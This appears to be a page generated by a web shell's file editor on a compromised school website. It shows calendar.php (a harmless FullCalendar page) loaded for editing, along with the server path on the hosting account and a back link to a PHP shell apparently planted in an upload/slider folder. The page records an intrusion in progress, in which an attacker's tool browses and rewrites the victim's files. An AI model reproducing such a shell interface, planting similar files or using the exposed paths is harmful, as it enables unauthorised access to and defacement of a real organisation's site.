<h2>Edit File - calendar.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u318955861/domains/dpwssubhanpur.in/public_html/calendar.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;Colorful PHP Calendar&lt;/title&gt;

    &lt;!-- FullCalendar --&gt;
    &lt;link href=&quot;https://cdn.jsdelivr.net/npm/fullcalendar@6.1.8/index.global.min.css&quot; rel=&quot;stylesheet&quot;&gt;

    &lt;!-- Bootstrap --&gt;
    &lt;link href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;

    &lt;!-- jQuery --&gt;
    &lt;script src=&quot;https://code.jquery.com/jquery-3.6.0.min.js&quot;&gt;&lt;/script&gt;

    &lt;!-- FullCalendar --&gt;
    &lt;script src=&quot;https://cdn.jsdelivr.net/npm/fullcalendar@6.1.8/index.global.min.js&quot;&gt;&lt;/script&gt;

    &lt;!-- Bootstrap --&gt;
    &lt;script src=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js&quot;&gt;&lt;/script&gt;

    &lt;!-- STYLES --&gt;
    &lt;style&gt;
       

        #calendar {
            background: #fff;
            padding: 10px;
            border-radius: 12px;
        }

        /* Sunday column */
        .fc-day-sun {
            background-color: #ffe6e6 !important;
        }

        /* Sunday date number */
        .fc-day-sun .fc-daygrid-day-number {
            color: #c40000;
            font-weight: bold;
        }

        /* Event style */
        .fc-event {
            border-radius: 8px;
            padding: 3px 6px;
            font-weight: 600;
            border: none;
        }

        .fc-event:hover {
            opacity: 0.9;
            transform: scale(1.03);
        }
        a {
    color: rgba(var(--bs-link-color-rgb), var(--bs-link-opacity, 1));
    text-decoration: none;
}
    &lt;/style&gt;
&lt;/head&gt;

&lt;body&gt;


    &lt;div id=&quot;calendar&quot;&gt;&lt;/div&gt;


&lt;!-- EVENT MODAL --&gt;
&lt;div class=&quot;modal fade&quot; id=&quot;eventModal&quot; tabindex=&quot;-1&quot;&gt;
  &lt;div class=&quot;modal-dialog modal-dialog-centered&quot;&gt;
    &lt;div class=&quot;modal-content&quot;&gt;
      &lt;div class=&quot;modal-header&quot;&gt;
        &lt;h5 class=&quot;modal-title&quot;&gt;Delhi Public World School&lt;/h5&gt;
        &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;modal&quot;&gt;&lt;/button&gt;
      &lt;/div&gt;
      &lt;div class=&quot;modal-body&quot; id=&quot;modal-body&quot;&gt;
        Loading...
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
/* AUTO COLOR FUNCTION */
function getColorFromText(text) {
    let hash = 0;
    for (let i = 0; i &lt; text.length; i++) {
        hash = text.charCodeAt(i) + ((hash &lt;&lt; 5) - hash);
    }
    return `hsl(${hash % 360}, 70%, 55%)`;
}

document.addEventListener('DOMContentLoaded', function() {

    var calendar = new FullCalendar.Calendar(
        document.getElementById('calendar'),
    {
        initialView: 'dayGridMonth',
        events: 'fetch-events.php',

        /* EVENT COLOR LOGIC */
        eventDidMount: function(info) {

            const day = info.event.start.getDay(); // 0 = Sunday

            if (day === 0) {
                info.el.style.backgroundColor = '#e74c3c'; // Sunday RED
            } else {
                info.el.style.backgroundColor = getColorFromText(info.event.title);
            }

            info.el.style.color = '#fff';
        },

        /* EVENT CLICK */
        eventClick: function(info) {
            info.jsEvent.preventDefault();

            $.get('get-event-details.php', { id: info.event.id }, function(data) {
                $('#modal-body').html(data);
                new bootstrap.Modal('#eventModal').show();
            });
        }
    });

    calendar.render();
});
&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/brgsdash/upload/slider/56491754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>